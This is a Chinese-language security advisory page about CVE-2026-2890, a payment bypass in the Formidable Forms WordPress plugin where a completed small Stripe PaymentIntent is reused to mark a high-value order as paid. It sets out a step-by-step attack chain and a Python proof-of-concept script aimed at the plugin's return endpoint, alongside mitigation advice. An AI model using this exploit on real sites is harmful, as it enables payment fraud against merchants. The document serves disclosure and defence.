IPBUF安全漏洞报告
English
CVE-2026-2890 CVSS 7.5 高危

CVE-2026-2890 WordPress Formidable Forms插件支付绕过漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-2890
漏洞类型
支付完整性绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Formidable Forms plugin for WordPress

相关标签

支付绕过业务逻辑漏洞WordPress插件Stripe集成CVE-2026-2890Formidable Forms电商安全

漏洞概述

Formidable Forms是WordPress平台上广泛使用的表单构建插件,支持在线支付功能。该插件在处理Stripe Link支付时存在严重的支付完整性绕过漏洞,CVSS评分达到7.5分,属于高危漏洞。攻击者可以利用此漏洞通过重用已完成的小额PaymentIntent来欺骗系统,使高额支付被标记为已完成,从而免费获取商品或服务。该漏洞影响所有6.28及以下版本,由于攻击无需认证且利用难度较低,建议用户立即采取修复措施。

技术细节

漏洞主要存在于两个关键函数中。首先,`handle_one_time_stripe_link_return_url`函数在处理Stripe Link支付返回时,仅根据Stripe PaymentIntent的状态就标记支付记录为完成状态,而没有验证Intent的实际收费金额是否与预期支付金额一致。其次,`verify_intent()`函数仅验证客户端密钥的所有权,没有将PaymentIntent绑定到特定的表单或支付操作,导致攻击者可以使用任意有效的Intent来通过验证。攻击者可以先完成一笔小额支付获取有效的PaymentIntent,然后构造请求将该Intent用于高额支付场景,系统会错误地认为高额支付已完成。攻击者利用这种金额验证缺失的缺陷,实现了支付金额的绕过。

攻击链分析

STEP 1
步骤1
攻击者在目标网站完成一笔小额合法支付(如1美元),获取有效的Stripe PaymentIntent ID和client_secret
STEP 2
步骤2
攻击者选择高价值商品或服务,发起正常购买流程,系统生成高额订单
STEP 3
步骤3
在支付环节,攻击者不进行真实的高额支付,而是将之前获取的小额PaymentIntent ID提交给插件的handle_one_time_stripe_link_return_url端点
STEP 4
步骤4
插件的verify_intent()函数验证client_secret有效后,handle_one_time_stripe_link_return_url函数仅检查PaymentIntent状态为'succeeded',未验证金额是否匹配
STEP 5
步骤5
系统错误地将高额订单标记为已支付完成,攻击者获得商品或服务的访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-2890 Payment Integrity Bypass PoC Formidable Forms Stripe Link Payment Bypass """ import requests import json TARGET_URL = "https://vulnerable-site.com/wp-json/formidable/stripe/link/return" def exploit_payment_bypass(): """ Attack scenario: 1. Attacker completes a small legitimate payment ($1) to get a valid PaymentIntent 2. Attacker captures the PaymentIntent ID 3. Attacker initiates a high-value purchase ($1000) 4. Instead of paying $1000, attacker reuses the small payment's PaymentIntent 5. System marks the $1000 order as paid based on PaymentIntent status alone """ # Step 1: Get a legitimate PaymentIntent from a small payment small_payment_intent = "pi_legitimate_small_payment_intent_id" # Step 2: Craft request to mark high-value payment as complete payload = { "payment_intent_id": small_payment_intent, "client_secret": "small_payment_client_secret", "form_id": "high_value_form_id", "expected_amount": 100000, # $1000.00 in cents "entry_id": "victim_entry_id" } # The vulnerable endpoint only checks PaymentIntent status, # not whether the amount matches expected_amount response = requests.post(TARGET_URL, json=payload) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: result = response.json() if result.get("success"): print("[!] VULNERABLE: Payment marked as complete!") print("[*] Attacker successfully bypassed payment for high-value order") return True print("[*] Exploit failed or target not vulnerable") return False if __name__ == "__main__": exploit_payment_bypass()

影响范围

Formidable Forms < 6.28

防御指南

临时缓解措施
如果无法立即升级,可临时禁用Stripe Link支付功能,改用其他支付网关或手动验证支付状态。同时建议启用WordPress安全插件监控异常支付行为,并对高价值订单实施额外的人工审核流程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表